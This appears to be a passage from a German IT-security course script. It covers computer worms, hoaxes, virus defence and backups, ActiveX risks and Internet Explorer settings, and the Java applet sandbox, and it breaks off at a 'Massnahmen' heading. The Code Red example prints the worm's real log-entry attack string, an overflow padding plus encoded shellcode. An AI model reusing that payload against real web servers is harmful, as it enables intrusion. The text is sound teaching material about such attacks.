Würmer sind eine ganz besondere Art von Viren, denn sie benötigen kein Wirtsprogramm zu ihrer Weiterverbreitung. Sie vermehren sich fast ausschliesslich über Netzwerkverbindungen, befallen aber keine Dateien, sondern sind komplett eigenständige
Programme. Der Schaden für den Anwender liegt darin, dass sie die vorhandene Rechenzeit und Speicherkapazität eines Computers verbrauchen. Dies kann im Extremfall (falls sämtliche Rechenzeit nur für den Wurm verbraucht wird) zu einem Ausfall
des befallenen Rechners führen, was im Fachjargon auch als Denial of Service bezeichnet wird.
Dazu ein Beispiel.
Ein Rechner der Firma X ist für die Sammlung und Zustellung von E-mails zuständig. Wird nun dieser Rechner von Würmern befallen und verbrauchen diese komplett
die verfügbare Rechenleistung des Computers, so kann der Rechner seine eigentliche
Aufgabe nicht mehr erfüllen. Der Email-Dienst als solches ist blockiert, und Anfragen
werden abgewiesen.
Die Aktivitäten eines Wurms erregten im Jahre 1988 die Aufmerksakeit der Medien, als 250’000 Unix-Rechner während zwei Tagen lahm gelegt wurden. Dieser Ausfall
verursachte einen wirtschaftlichen Schaden von etwa 96 Millionen US-Dollar.
42
Beispiel: Code Red
Der Wurm CodeRed attackiert den Internet Information Service von Microsoft bzw.
dessen Indexierungsservice. Aufgrund eines Buffer Overflows in der Service-DLL liessen sich Befehle einschleusen und die Kontrolle über den angegriffenen Webserver
übernehmen.
Eine vollständige Analyse des Exploits und dessen Workaround bzw. Behebung beschreibt Microsoft im Security Bulletin MS01-044 .
Selbst heute findet man in den Log-Dateien der Server die CodeRed Attacken.
/default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%
u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531
b%u53ff%u0078%u0000%u00=a
Default.ida spezifiziert die anzugreifende Datei, bei deren der Indexierungsservice aktiv wird. Die Serie von N generieren den Buffer-Overflow womit schlussendlich der
zustzlich angehängte Shellcode beginnend mit %... ausgeführt wird.
Im Sommer 2001 war dieser Wurm sehr erfolgreich, wie folgende Ausbreitungskarte
der ersten 24 Stunden aufzeigt.
Abbildung 4.22: 19.06.2001 00:0 Quelle caida.org
43
Abbildung 4.23: 19.06.2001 12:00 Quelle caida.org
Abbildung 4.24: 20.06.2001 00:00 Quelle caida.org
44
Beispiel: Blaster
Im August 2003 gab es ein frühes Erwachen vieler Administratoren. Bereits in der
Nacht begannen vereinzelt Server unkontrolliert neu zu starten. Mit Beginn der Bürozeiten häuften sich zusätzlich Meldungen, dass auch die Arbeitsstationen der Benutzer
sich permanent neu starteten.
Abbildung 4.25: RPC-Service failed
Nur ein manuelles Eingreifen kann den Restart abbrechen.
shutdown /a
Grund war ein neuer Internetwurm genannt W32.Blaster. Dieser attackierte über einen
Buffer Overflow den RPC-Service von Windows Rechnern, nistete sich ein und verbreite sich auf andere Rechner. Microsofts Security Bulletin MS03-026 beschreibt die Lücke
ausführlich.
Wie bei einem Buffer Overflow üblich, wird der angegriffene Service in seiner Funktionsweise empfindlich gestört. Beim RPC-Service führte dies zum Absturz. Für Windows Rechner ist dieser Service aber so zentral, das Microsoft für den Fall eines Absturzes automatisch den Neustart des Rechners einprogrammierte.
Inoffiziell wird auch gemunkelt, dass der grossflächige Stromausfall an der Ostküste der USA am Donnerstag den 14. August 2003 durch diesen Wurm ausgelöst wurde.
Insider berichteten, dass das Netzwerk der National Grid USA durch den permanenten
Neustart befallener Server so stark in Mitleidenschaft gezogen worden sei, dass die ankommende Alarmmeldung eines Blitzschlages bei den Niagarafällen nicht korrekt und
fristgerecht verarbeitet werden konnte. Die anschliessenden Fehleinschätzungen und
Massnahmen führten schlussendlich zum kompletten Ausfall des Stromnetzwerkes.
4.4.6
Hoax
Hoax (-Meldungen) sind Jux-Meldungen, die vor neuen Computerviren warnen sollen.
Leider sind diese Warnungen wie bereits erwähnt nicht wahr.
Verbreitet werden Hoax-Meldungen als Email. Laien senden diese oft weiter, da sie
die Meldungen als wahr erachten. Heute werden Jux-Meldungen ebenso als Computerviren betrachtet. Man führt folgende drei Gründe an :
• Die enorme Verbreitung legen Mail-Systeme lahm. Besonders beliebt sind Massenemail ausgelöst durch Verteilerlisten in Firmen. (z.B. [email protected])
• Sie tragen zur allgemeinen Verunsicherung der PC-Benutzer bei, den diese können deren Wahrheitsgehalt meist nicht überprüfen.
• Es findet eine allfällige Desensiblisierung gegenber echter Virus statt.
45
Firmen können sich vor Hoax-Meldungen schützen, indem sie ihre Mitarbeiter so instruieren, dass eingehende Virenwarnungen zuerst dem Informatikdienst zu senden
sind. Nur dieser darf interne Warnungen weitergeben. Anders herum muss auch informiert werden, dass Virenmeldungen, welche nicht vom Informatikdienst stammen
nicht zu beachten sind.
Kennzeichen von Hoax-Meldungen sind einfach zu eruieren. Neben der Beschreibung eines fiktiven Computerivirus springt vor allem die Aufforderung ins Auge, dass
man diese Email an möglichst viele anderen Personen weiterleiten sollen.
Abbildung 4.26: Hoax Beispiel
4.4.7
Mögliche zukünftige Computerviren
Die Entwicklungen im Computerbereich schreiten stetig voran. So ist es auch nicht
verwunderlich, dass immer neue Technologien entstehen, die man für Computerviren
missbrauchen kann. Hier zwei Beispiele :
46
Abbildung 4.27: Artikel (www.heise.de/ct)
Abbildung 4.28: Quelle c’T 2000, Heft 4 Seite 210
47
Abbildung 4.29: Microsoft Instant Messenger Wurm
48
4.5
Virenbekämpfung
Ein durchdachtes Virenschutzkonzept basiert auf zwei Säulen. Zum einen auf einem
funktionierenden Backupwesen, damit verloren gegangene Informationen wieder restauriert werden können, und zum anderen auf der Basis von Kontrollen. Seien es
Kontrollen zur Prävention (Virenvorbeugung) oder Inspektionen, welche den aktuellen Datensatz nach Viren überprüfen.
Grundstzälich gilt ein System so lange als infiziert, bis man sich vom Gegenteil
überzeugt hat. Diese Kontrolle ist zwingend periodisch durchzuführen, da selbst die
beste Prävention nicht hundertprozentig vor einer Infizierung mit Viren schützen kann.
Weiter ist zu beachten, dass täglich neue Viren programmiert werden. Dies bedeutet,
dass auch die Programme zum Aufspüren von Viren immer dem aktuellen Stand anzupassen sind.
4.5.1
Backupstrategien
Die Backupstrategie einer Firma könnte wie folgt aussehen
Montag bis und mit Donnerstag werden Tagesbackups erzeugt. Diese werden im
Wochenrythmus zyklisch berschrieben (vier Backupmedien) und liegen griffbereit direkt neben dem Backupgerät.
Am Freitag wird ein Wochenbackup erstellt. Dieses wird alle fünf Wochen zyklisch
berschrieben (fünf Backupmedien). Das Wochenbackup liegt im Safe des Abteilungsleiters.
Ist es der letzte Freitag im Monat, so wird ein Monatsbackup angefertigt. Das Monatsbackup wird nicht mehr überschrieben und extern gelagert (12 Backupmedien pro
Jahr).
Mit dieser Strategie ist die Firma in der Lage, den Stand eines jeden Monatsendes
zu restaurieren. Innerhalb des letzten Monats dessen jeweiligen Stand am Freitag und
jeden Tag während der vergangenen fünf Arbeitstage.
Der schwierigste Teil einer Backupstrategie besteht darin, dedizierte Rechner (z.B.
Laptops) einzubinden.
4.5.2
Prävention
Viren lauern in Programmen, Dokumenten und auf austauschbaren Medien (z.B. Disketten, USB Sticks). Vereinfacht könnte man also als erste präventive Massnahme
formulieren: Tausche weder Programme, Dokumente noch Medien mit anderen Personen.
In der heutigen vernetzten Welt ist eine solche restriktive Forderung nicht mehr
denkbar. Aber sie weist den Weg für mögliche Ansätze. Viren können sich erst weiterverbreiten, wenn das Wirtsprogramm gestartet bzw. das Wirtsdokument bearbeitet
wird. Es ist also durch organisatorische Massnahmen dafür zu sorgen, dass jedes fremde Programm, jede unbekannte Diskette und jedes zu bearbeitende Dokument zuerst
auf Viren untersucht wird. Die Untersuchung kann und sollte heutzutage automatisch
im Hintergrund (Stichwort: Virenwächter) erfolgen. Alle aktuellen Virenschutzwerkzeuge bieten die Installation eines solchen permanenten Wächters an.
Des weiteren müssen die Mitarbeiter betreffend dem Thema Viren sensibilisiert
werden, so dass sie selber den ersten Schritt gegen eine Weiterverbreitung bzw. eine
Infektion ausführen können und sich den möglichen Gefahren bewusst sind. Die Mentalität mir passiert schon nichts muss aus den Köpfen verschwinden, da sie mit der
heutigen Realität nichts mehr gemein hat.
Die bisherigen Massnahmen zur Prävention vor Viren können durch weitere technische Mittel gestärkt werden. Ein solches Mittel ist der Schreibschutz von Dateien und
Verzeichnissen. Nur einen bedingten Schutz gegenüber Viren lässt sich durch das Aktivieren des Schreibschutzes von Daten unter MS-DOS und Windows 9x/ME erreichen.
Dieser Schutz lässt sich nämlich relativ einfach wieder abschalten, so dass das Virus
49
trotzdem die Datei infizieren kann. Um einiges wirksamer ist der Schreibschutz basierend auf den Zugriffsberechtigungen von Benutzern, z.B. mit NTFS. Entzieht man
allen Bentzern das Schreibrecht für die Standardvorlage von Word (Normal.dot), so
kann sich dort kein Makrovirus mehr einnisten.
4.5.3
Suchen und Entfernen von Viren
Das Entfernen von Viren umfasst im Grunde zwei Schritte.
1. Zuerst muss das Virus gesucht und dessen Typ bestimmt werden.
2. Ist Standort und Virustyp bekannt, kann dieser, falls möglich, gelöscht werden.
Leider ist es nicht immer möglich, das Virus ohne Zerstören des Wirtsprogrammes
bzw. Wirtsdokumentes zu löschen. Es ist also wichtig, neben den Virenschutzwerkzeugen ein organisiertes und funktionierendes Backupwesen aufzuziehen. Ausfälle aufgrund nicht wiederherstellbarer Dokumente lassen sich so vermeiden. Insbesondere
muss hier auf Viren, welche die Partitionstabelle modifizieren, hingewiesen werden.
Meistens lassen sich diese nur mit einer kompletten Neupartitionierung und Neuformatierung der Festplatte mit anschliessender Systeminstallation entfernen. Diejenigen welche für solche Fälle ein Backup vorbereitet haben, sparen einiges an Zeit und
Nerven, weil man das verlorengegangene System relativ einfache wieder einspielen
kann. Komplett installierte und konfigurierte Systeme lassen sich einfach mit Systemimages (1:1 Kopien der Festplatten) auch über das Netzwerk leicht wieder herstellen
(Mögliche Produkte ImageBlast, Ghost oder DriveImage).
Besonders hartnäckig sind Bootsektor-Viren und aktive, speicherresistente Viren.
Diese lassen sich nur bedingt mit einem Virenscanner beheben. Meistens ist ein Systemstart von einer sauberen sprich nicht infizierten Boot-CD-ROM. Nur so lassen sich
die ansonsten im Speicher befindlichen Viren eliminieren. Aktuelle Virenscanner liegen zum Teil auf CD-ROM vor und können (z.B. Norton AntiVirus für MacIntosh) von
dort direkt gestartet werden. Oder sie erlauben bei der Installation das Erstellen einer
Rettungsdiskette.
Probleme beim Erkennen von virenbefallenen Programmen und Dokumenten bereiten komprimierte Dateien aus dem Internet, sich selber verschlüsselnde Viren (Cryptoviren) oder sich tarnende Viren (Stealth-Viren). Bei allen gemein ist, dass das binäre
Muster verändert wurde. Ohne dieses eindeutige binäre Muster ist das Virensuchprogramm nicht mehr in der Lage, die Viren aufzuspüren.
Die Virenscanner ihrerseits müssen somit zuerst die Komprimierung, Verschlüsselung oder den Tarnmechanismus ausser Kraft setzen, um das selbst Virus zu erkennen.
50
Kapitel 5
ActiveX
5.1
Technologie
ActiveX, früher OLE Control genannt, erlaubt die Kommunikation zwischen unterschiedlichen Anwendungen, auch über das Internet. Dies ist eine Weiterentwicklung
der bisherigen aufs lokale Netzwerk beschränkten OLE/DCOM-Technologie. So lässt
sich der Internet Explorer von Microsoft durch ActiveX-Objekte, welche in eine Homepage eingebettet sind, automatisch um neue Funktionen erweitern (z.B. On-lineBanking). Diese eingebetteten Objekte werden - je nach der eingestellten Sicherheitsstufe - ohne Rückfrage an den Benutzer vom Internet auf den lokalen Rechner kopiert
und ausgeführt.
Begriffsdefinitionen :
ActiveX Technologie von Microsoft für die Erstellung von binären Softwarekomponenten, um Anwendungen automatisch um bestimmte Fähigkeiten zu erweitern.
ActiveX-Objekt/ActiveX-Control Ein gemäss der ActiveX- Technologie in C/C++ oder
Visual Basic erstelltes Programm bzw. Binärcode. Aufgrund des Binärcodes sind
ActiveX-Objekte auf Microsoft Windows beschränkt und spezifisch auf den jeweiligen Prozessor zugeschnitten (Intel x86 und kompatible Prozessoren). Solche Objekte lassen sich in HTML-Seiten einbetten und im Internet Explorer ausführen
(siehe Beispiel). Jedes ActiveX-Objekt muss mit einer weltweit eindeutigen Identifikation versehen werden, einer sogenannten CLASSID.
Der Internet Explorer von Microsoft ist der einzige Browser, welcher diese automatische Erweiterbarkeit mit ActiveX native unterstützt. Die Internet Explorer in den
Varianten für MacOs oder Solaris nutzen diese Technologie nicht.
5.1.1
ActiveX als Anwender
Für den Anwender präsentiert sich ActiveX - mit Ausnahme der Sicherheitsrisiken unproblematisch und durchgängig. Lokale Programmteile - die ActiveX- Komponenten
- finden automatisch im Internet Explorer Verwendung.
Ein sehr anschauliches Beispiel ist der Media-Player von Microsoft. Grundsätzlich
wird mit dem Internet Explorer ab Version 4.0 ein ActiveX-Objekt - genannt ActiveMovie - installiert. Dieses ActiveX kann nun lokal vom Windows Media Player genutzt
werden oder auch für Filme im Internet.
51
Abbildung 5.1: Film im lokal installierten Windows Media Player
Dasselbe ActiveX-Objekt kann sich nun auch der Internet Explorer zu nutze machen, um Filme aus dem Internet abzuspielen. Die Ausgabe erfolgt dabei nicht in einem
eigenständigen Fenster wie beim Media Player, sondern eingebettet in die Webseite.
Abbildung 5.2: ActiveMovie - Komponente im Internet Explorer
Es ist klar ersichtlich, dass der Bildbereich - inklusive der Steuerung am unteren
Ende - absolut identisch ist. Der Internet Explorer kann nun unabhängig von der eige-
52
nen Version, sämtliche Audio- und Videoformate abspielen, welche das lokale ActiveXObjekt unterstützt.
Theoretisch könnte mit der ActiveX-Technologie auch direkt auf der Webside eine
neuere Version der ActiveMovie-Komponente platziert werden, um die lokale Installation automatisch zu aktualisieren. Dies wird aber aufgrund der Sicherheitsbedenken
heute nicht ausgenutzt.
5.1.2
ActiveX aus Sicht des Technikers
Die Anwendungen von ActiveX-Objekten sind vielfältig, als Beispiel eine Schachimplementation.
In der Webseite chess.htm auf dem Server http://www.darif.fh-offenburg.de/academic/
ist folgender Text eingefügt, welche das ActiveX-Objekt und dessen Verwendung spezifiziert. (Hinweis: Leider wurde diese Seite inzwischen vom Provider gelöscht, so dass
Sie diese Beispiel nicht mehr Online nachvollziehen können.)
<object ID="Geiges"
CLASSID="clsid:F56417CD-E363-11D1-82DF-0000E8245146"
CODEBASE="../ocx/Chess.CAB#version=1,0,0,0"
WIDTH="423"
HEIGHT="320">
</object>
Der Internet Explorer interpretiert diese Zeilen nun wie folgt. Als erstes sucht er in der
lokalen Registry von Windows nach einem bereits registrierten Objekt mit der Identifikation F56417CD-... . Ist kein solches vorhanden, so lädt er dieses an der mit CODEBASE angegebenen Adresse herunter und installiert dieses Objekt auf dem lokalen
Rechner.
Diese Installation lässt sich mit dem Registrierungseditor verifizieren.
Abbildung 5.3: ActiveX-Objekt Installation
Nach der Installation kann das ActiveX-Objekt gestartet und anhand der Grössenangaben WIDTH und HEIGHT in einem Rechteck von 432 auf 320 Bildpunkten
innerhalb des Browser-Fensters dargestellt werden.
53
Abbildung 5.4: ActiveX Beispiel Schach
5.2
Bedrohung
ActiveX-Objekte können aufgrund ihrer binären Spezifikation direkt auf das Betriebssystem zugreifen, d.h. sie benutzen den gesamten Funktionsumfang des Betriebssystems. Wenn sie als Anwender erlauben, dass ein ActiveX-Objekt auf den Rechner geladen wird, kann dieses Programm so ziemlich tun und lassen was es will. Es gibt keine
Befehlsbeschränkungen bei ActiveX, sondern nur eine Vertrauensbarriere, nämlich die
Abfrage des Browsers, ob der Anwender mit der Ausführung des Programms auf seinem Rechner einverstanden ist oder nicht. So ist es möglich, Objekte zu schreiben, die
den lokalen Rechner via Internet-Homepage herunterfahren!
Des weiteren sind diese Objekte ja eine Weiterentwicklung der bisherigen OLE/DCOMTechnologie, welche zum Beispiel in Office zum Einsatz kommt. Somit können ActiveXObjekte direkt mit Komponenten des Office-Paketes kommunizieren, um zum Beispiel
eine Lohnabrechnungstabelle auszuspionieren.
54
Abbildung 5.5: Zusammenspiel Office und ActiveX
Derzeit wird das Sicherheitskonzept von ActiveX noch diskutiert. Anders als bei
Java ist kein eigentliches Konzept bereits bei der Spezifikation mitentwickelt worden,
und man versucht dies jetzt mit Zertifikaten nachzuholen. Ein Zertifikat ist eine Bestätigung seitens einer Zertifizierungsinstanz, welche zusichert, dass das ActiveX von
der angegebenen Quelle stammt und nur die dort angegebene Funktion ausführt.
Wie eine unauthorisierte Fernbedienung aussehen könnte hat der Chaos Computer
Club Deutschland 1997 (www.ccc.de) eindrücklich demonstriert. Mitglieder des Clubs
schrieben mit Visual-Basic ein ActiveX-Objekt, welches in einer Webside versteckt wurde.
55
Abbildung 5.6: Lockseite
Suft ein Internetbenutzer auf dieser präparierten Seite, so wird bei aktivierter
ActiveX-Unterstützung das versteckte Visual-Basic Programm automatisch runtergeladen und installiert!
Abbildung 5.7: Automatische Installation neuer ActiveX-Objekte in der Fusszeile
Nach der Installation wird das ActiveX-Objekt ausgeführt. Dieses spezielle Objekt sucht auf der lokalen Harddisk nach Quicken - das in Deutschland verbreitetste Programm zur Kontenverwaltung und Online-Banking für private Anwender und
Selbständige. Ist Quicken auf dem entsprechenden Rechner installiert, so initiiert das
ActiveX-Objekt selbständig eine Zahlungsanweisung, von der der eigentliche Benutzer
nichts merkt (ausser er kontrolliert permanent sämtliche getätigten Zahlungen).
56
Abbildung 5.8: Bestätigte Überweisung in Quicken
5.3
Massnahmen
Grundsätzlich bietet nur der Internet Explorer die Möglichkeit ActiveX-Objekte auszuführen. Ob ein ActiveX-Objekt ausgeführt wird, kann unter ANSICHT Menupunkt
INTERNET-OPTIONEN nachgesehen werden.
57
Abbildung 5.9: Internetoptionen IE v5
Die Sicherheit ist in verschiedene Zonen eingeteilt, denen sich unterschiedliche Sicherheitsstufen zuweisen lassen :
• lokale Intranetzone
• Zone für vertrauenswürdige Sites
• Internetzone
• Zone für eingeschränkte Sites
Der nachfolgende Teil beschränkt sich auf die Internetzone, da sie ja der eigentliche
Gegenstand dieses Dokumentes darstellt.
Der Internetzone kann eine der folgenden Sicherheitsstufen zugeordnet werden,
nämlich HOCH, MITTEL, NIEDRIG und ANGEPASST. Interessant dabei ist die Option ANGEPASST. Sie erlaubt die individuelle Einstellung aller im Browser möglichen
Sicherheitsoptionen, die ActiveX betreffen.
Es sind dies :
• AUSFÜHREN VON ACTIVEX-STEUERELEMENTEN, DIE ALS SICHER FÜR
SCRIPTING MARKIERT SIND
Erlaubt die Benutzung von bereits lokal vorhandenen von Windows speziell markierten ActiveX-Elementen, z.B. ActiveMovie.
• AUSFÜHREN VON ACTIVEX-STEUERELEMENTEN, DIE NICHT ALS SICHER
MARKIERT SIND
Erlaubt die Benutzung von bereits vorhandenen ActiveX-Elementen aus anderen
Quellen
• ACTIVEX-STEUERELEMENTE UND PLUGINS AUSFÜHREN
Standardoption zur Aktivierung von ActiveX und Plug-Ins
58
• DOWNLOAD VON SIGNIERTEN ACTIVEX-STEUERELEMENTEN
Erlaubt den Download und die Installation von zertifizierten ActiveX-Objekten.
• DOWNLOAD VON UNSIGNIERTEN ACTIVEX-STEUERELEMENTEN
Erlaubt den Download und die Installation von nicht zertifizierten Objekten. Bei
der Einstellung FRAGEN werden die Zertifizierungsinformationen angezeigt.
Abbildung 5.10: Warnung bei unbekanntem Zertifikat
Kill Bit
Beginnend mit Internet Explorer v5.0.1 SP2 hat Microsoft begonnen, eine Blacklist
von ActiveX-Controls zu führen, deren Nutzung im IE verboten ist. Zusätzlich erhielt
man über das neue «AddOns» Menü eine einfache Möglichkeit, selber lokal installierte
ActiveX Komponenten zu sperren oder manuell freizugeben.
59
Abbildung 5.11: Add-On Menu
Im Knowledgebaseartikel «How to stop an ActiveX control from running in Internet
Explorer» unter http://support.microsoft.com/kb/240797 beschreibt Microsoft im Detail
die technischen Hintergründe.
Start ohne Add-Ons
Mit IE7 führt Microsoft noch eine weitere Neuerung ein. Der Browser kann per Verknüpfung direkt ohne aktive Add-Ons gestartet werden.
60
Abbildung 5.12: IE 7 ohne aktiven Add-Ons
5.4
Zukunft
ActiveX-Objekte, welche sich direkt aus dem Internet runterladen, installieren und
dementsprechend nutzen lassen, sind in dieser Form nicht mehr anzutreffen. Microsoft
spricht es zwar nicht offen aus, aber die Taten sprechen für sich. ActiveX als aktive
Komponente im Internet ist tot.
Sämtliche Internet-Seiten, welche sich zu diesem Thema befassen werden nicht
mehr gepflegt und nach und nach vom Netz genommen. Des weiteren ist auf der kompletten Microsoft Webseite (http://www.microsoft.com) kein einziges ActiveX- Objekt
mehr zu finden.
Für einen Systemadministrator bedeutet dies, dass er ohne funktionelle Einschränkungen seitens der Anwender die beiden ActiveX-Optionen DOWNLOAD VON SIGNIERTEN ACTIVEX-STEUERELEMENTEN und DOWNLOAD VON UNSIGNIERTEN ACTIVEX-STEUERELEMENTEN deaktivieren kann.
Leider installieren Programme von Drittherstellern teilweise eigene, nicht von Microsoft kontrollierte ActiveX-Objekte. Falls diese durch interne Programmierfehler Hintertüren öffnen, ist auch ohne direkter Internetdownload der eigene Rechner gefährdet.
61
Abbildung 5.13: Sicherheitslücke im ActiveX-Control von CR64Loader
62
Kapitel 6
JavaTM
6.1
Technologie
Java ist eine Technologie, um genauer zu sein eine Programmiersprache, die von der
Firma SUN Microsystems 1990 entwickelt wurde. Anwendungen, welche in Java realisiert wurden, sind plattformunabhängig. Das heisst, dass einmal geschriebene Programme auf allen Systemen eingesetzt werden können, egal ob der Anwender mit Windows, MacOs oder einem Unix-System arbeitet. Realisiert wird diese Plattformunabhängigkeit dadurch, dass der Java-Compiler keinen rechnerspezifischen Programmcode erzeugt, also zum Beispiel kein Intel x86 Programm. Stattdessen generiert der
Compiler einen sogenannten Bytecode. Dieser Bytecode ist ausgerichtet für eine virtuelle Maschine, also einen fiktiven Computer. Will man nun ein Java-Programm starten,
benötigt man eine Laufzeitumgebung, auch Runtime genannt. Sie wandelt die für die
virtuelle Maschine gedachten Anweisungen in spezifische Anweisungen für den real
benutzten Prozessor um.
Abbildung 6.1: Java Runtime Konzept
63
Diese plattformunabhängige Technologie ist geradezu prädestiniert, um im (sehr
heterogenen) Internet Anwendung zu finden. Bereits bei der Entwicklung der Programmiersprache Java erkannte SUN das Potential sowie die möglichen Gefahren und
spezifizierte neben dem eigentlichen Java-Programm die sogenannten Java-Applets.
Ein Java-Applet unterscheidet sich gegenber einem normalen Java-Programm in
zweierlei Hinsicht :
• Das Java-Applet kann in eine HTML-Seite eingebunden und im Browser gestartet werden.
• Das Applet unterliegt sehr strengen Sicherheitsrichtlinien. So kann es nur mit
dem Web-Server, von dem es stammt, Verbindung aufnehmen. Kontakte zu anderen Hosts oder Zugriffe auf die lokale Festplatte sind nicht möglich.
Im Konkreten sind folgende Operationen untersagt :
1. Operation
2. Lesen einer lokalen Datei
3. Schreiben einer Datei auf das lokale Filesystem
4. Lesen von Dateiinformationen
5. Löschen einer Datei ( mittels exec)
6. Löschen einer Datei ( mittels File.delete() )
7. Netzverbindung zu einem Port am eigenen Rechner
8. Netzverbindung zu einem Port eines dritten Rechners
9. Laden einer Bibliothek
10. Programmbeendigung mit exit(-1)
11. Öffnen eines Popup-Fensters ohne Warnung
Anfangs wurden Java-Applets nur für kleine Aufgaben auf Homepages eingesetzt; so
zum Beispiel als News-Ticker oder für adaptive Menus. Heutzutage lassen sich mit
Applets ganze Online-Banking-Anwendungen realisieren.
Yellow Net Anwndung fürs Internetbanking der Post
Abbildung 6.2: Yellow Net Startbildschirm
64
Abbildung 6.3: Yellow net in MacOs
Zur Demonstration der Technologie im Rahmen dieses Kurses reicht auch ein kleineres Beispiel. Ein klassisches Programm in jeglicher Programmiersprache stellt Hello
World dar.
Im Nachfolgenden nun eine Implementation als Java-Applet. Dieses kleine Applet
schreibt auf einem grauen Hintergrund die Worte Hello World.
Abbildung 6.4: «Hello World» Applet
Implementiert ist dieses Applet wie folgt.
import java.applet.Applet;
import java.awt.Graphics;
import java.awt.Color;
public class HelloWorld extends Applet {
public void start() {
setBackground( Color.gray);
}
public void paint( Graphics g) {
g.drawString( "Hello World", 20, 20);
}
}
Dieser Quellcode wird mit Hilfe des Java-Compilers in ein Java-Programm, bzw. aufgrund der verwendeten Klassen, in den Bytecode eines Java-Applets gewandelt.
Dieses Java-Applet (HelloWorld.class) kann nun in eine HTML-Seite (HelloWorld.html)
eingebunden werden. Dazu wird der HTML-Tag <applet></applet> verwendet. Neben
der Angabe des Bytecodes muss noch die Grösse des Applet angegeben werden. Bei
65
diesem Beispiel soll das Java-Applet eine Grösse von 150x50 Bildschirmpunkten aufweisen.
<html>
<head>
<title>HelloWorld Applet</title>
</head>
<body bgcolor="#FFFFFF">
<applet code="HelloWorld" width="150" height="50">
</applet>
</body>
</html>
Nicht verwechseln sollte man Java mit der ebenfalls in den Web-Browser unterstützten
Scriptsprache JavaScript.
6.2
Bedrohung
Java-Applets stellen von der Idee her kein Sicherheitsrisiko dar, da bereits bei der Spezifikation der Programmiersprache an restriktive Sicherheitsmechanismen gedacht
wurde.
Als erstes prüft der Browser bereits beim Download des Applets in den lokalen
Speicher, ob der Bytecode in Ordnung ist. Erst wenn der Bytecode korrekt ist, wird im
Browser die Runtime gestartet, die anschliessend den Bytecode abarbeitet. Die Runtime des Browsers, oft auch Sandbox genannt, ist speziell für den Betrieb von Applets
vorbereitet und erlaubt keine Zugriffe auf lokale Ressourcen wie zum Beispiel Laufwerke. Es obliegt nicht dem Programmierer, ob er die Sicherheitsrichtlinien einhalten
will oder nicht, sondern der Runtime. Verstösse gegen die Sicherheitsrichtlinien werden vom Interpreter sofort geahndet, will heissen, er beendet sofort das Applet.
Abbildung 6.5: Java «Sandbox»
Leider lässt die Implementation der spezifizierten Sicherheitsstandards in der Runtime teilweise noch zu wünschen brig und erlaubt Zugriffe, die eigentlich gar nicht
zugelassen sind.
66
Bis zum jetzigen Zeitpunkt sind gerade mal zwei JavaViren bekannt. Es sind dies
die Viren JavaApp Strange.Brew und JavaApp BeanHive.
• JavaApp Strange.Brew
Das Virus Strange.Brew ist das erste gemeldete Java Virus überhaupt. Es war
vom Autor wohl eher als Demonstartionsvirus gedacht, da es keine eigentliche
zerstörerische Wirkfunktion enthlt. Weiter ist die Weiterverbreitung dadurch eingeschränkt, dass die Java-Runtimes von Netscape und dem Internet Explorer die
Codeveränderung erkennen und die Weiterverbreitung verhindern. Eine Infektion via Internet ist hier nicht möglich.
Nur, falls ein infiziertes Java-Programm lokal gestartet wird (z.B. mit dem Appletviewer von Sun oder dem JViewer von Microsoft), kann das Virus andere JavaProgramme infizieren.
• JavaApp BeanHive
Auch dieses Virus wurde wahrscheinlich als Technologiedemonstration entworfen, da es ebenfalls keine Wirkfunktion enthält. Dieses Virus kann jedoch auch
via Internet den lokalen Rechner infizieren und zwar durch folgenden Mechanismus.
Die strengen Richtlinien und Sicherheitsbeschränkungen der virtuellen Maschine lassen sich lockern, falls ein Applet dies wünscht und der Benutzer dies in einem Pop-Up
Dialog bestätigt sprich akzeptiert. Falls ein Benutzer diese Lockerung ablehnt, so terminiert sich das Virus automatisch und eine Infektion ist nicht möglich.
Akzeptiert der Anwender dagegen den Wunsch des Applets, so erlangt dieses die
Rechte auf das lokale Dateisystem zugreifen zu drüfen (ähnlich einem ActiveX). Damit
stehen natrlich die Tore weit offen, um die Java-Programme des lokalen Rechners mit
Java-Viren zu infizieren.
Beide Viren sind jedoch nur sehr selten anzutreffen (gemäss Angaben von Symantec). Wie sich die Viren basierend auf der Technologie von Java weiterentwickeln ist
noch ungewiss.
6.3
JavaTM 2 Plattform
Die rasche Entwicklung von Java stösst bei den Browsern auf Grenzen. Die Browserhersteller, welche bisher die Virtuelle Maschine alleinig programmierten, können
die wachsenden Anforderungen an die virtuelle Maschine nur sehr langsam erfüllen.
Schliesslich ist der Browser ihr Fokus und nicht die virtuelle Maschine.
Die Entwickler von Java haben sich nun entschlossen, diesem Umstand Rechnung
zu tragen und neben der bisherigen rein lokalen virtuellen Maschine, auch eine für
Internetbrowser anzubieten. Somit sollen die Browserentwickler entlastet und die Verbreitung neuer Java-Features gefördert werden.
Abbildung 6.6: Ausgelagerte virtuelle Maschine in Java 2 Plattform
67
Die virtuelle Maschine für Browser ist ein Plug-In, welche dem Browser die bereits
lokal installierte Java Virtual Maschine von Sun zur Verfügung stellt. Mit diesem PlugIn nachgerüstet, können beinahe sämtliche Browser von Netscape und Microsoft die
neuen Java-Versionen abarbeiten.
Aufgrund der Ausgliederung der virtuellen Maschine aus dem Browser, musste
auch das Sicherheitskonzept berarbeitet werden. Im bisherigen Sandbox Modell war
es so, dass sämtliche aus dem Internet kommenden Programme die Applets als nicht
vertrauenswürdig angesehen wurden und dem entsprechend keine Berechtigungen auf
dem lokalen Rechner besassen (z.B. ein Applet konnte nicht mal drucken!). Diese Einschränkung wurde durch den Browser und dessen integrierte VM kontrolliert. Andererseits waren lokale Java-Programme (Applications und Apples) immer vertrauenswrüdig und besassen die vollen Rechte des entsprechenden Benutzers.
Neu muss die Java Virtual Maschine sämtliche Kontrollfunktionen übernehmen.
Dazu kann bzw. muss der Administrator für jedes Java-Programm (also nicht nur für
jene aus dem Internet) Berechtigungen festlegen.
Berechtigungen beziehen sich auf lokale Ressourcen (Datei, Verzeichnis, Laufwerk,
Festplatte, Drucker etc) und lassen sich in Domnen (bekannt aus dem Internet) gruppieren.
6.4
Massnahmen
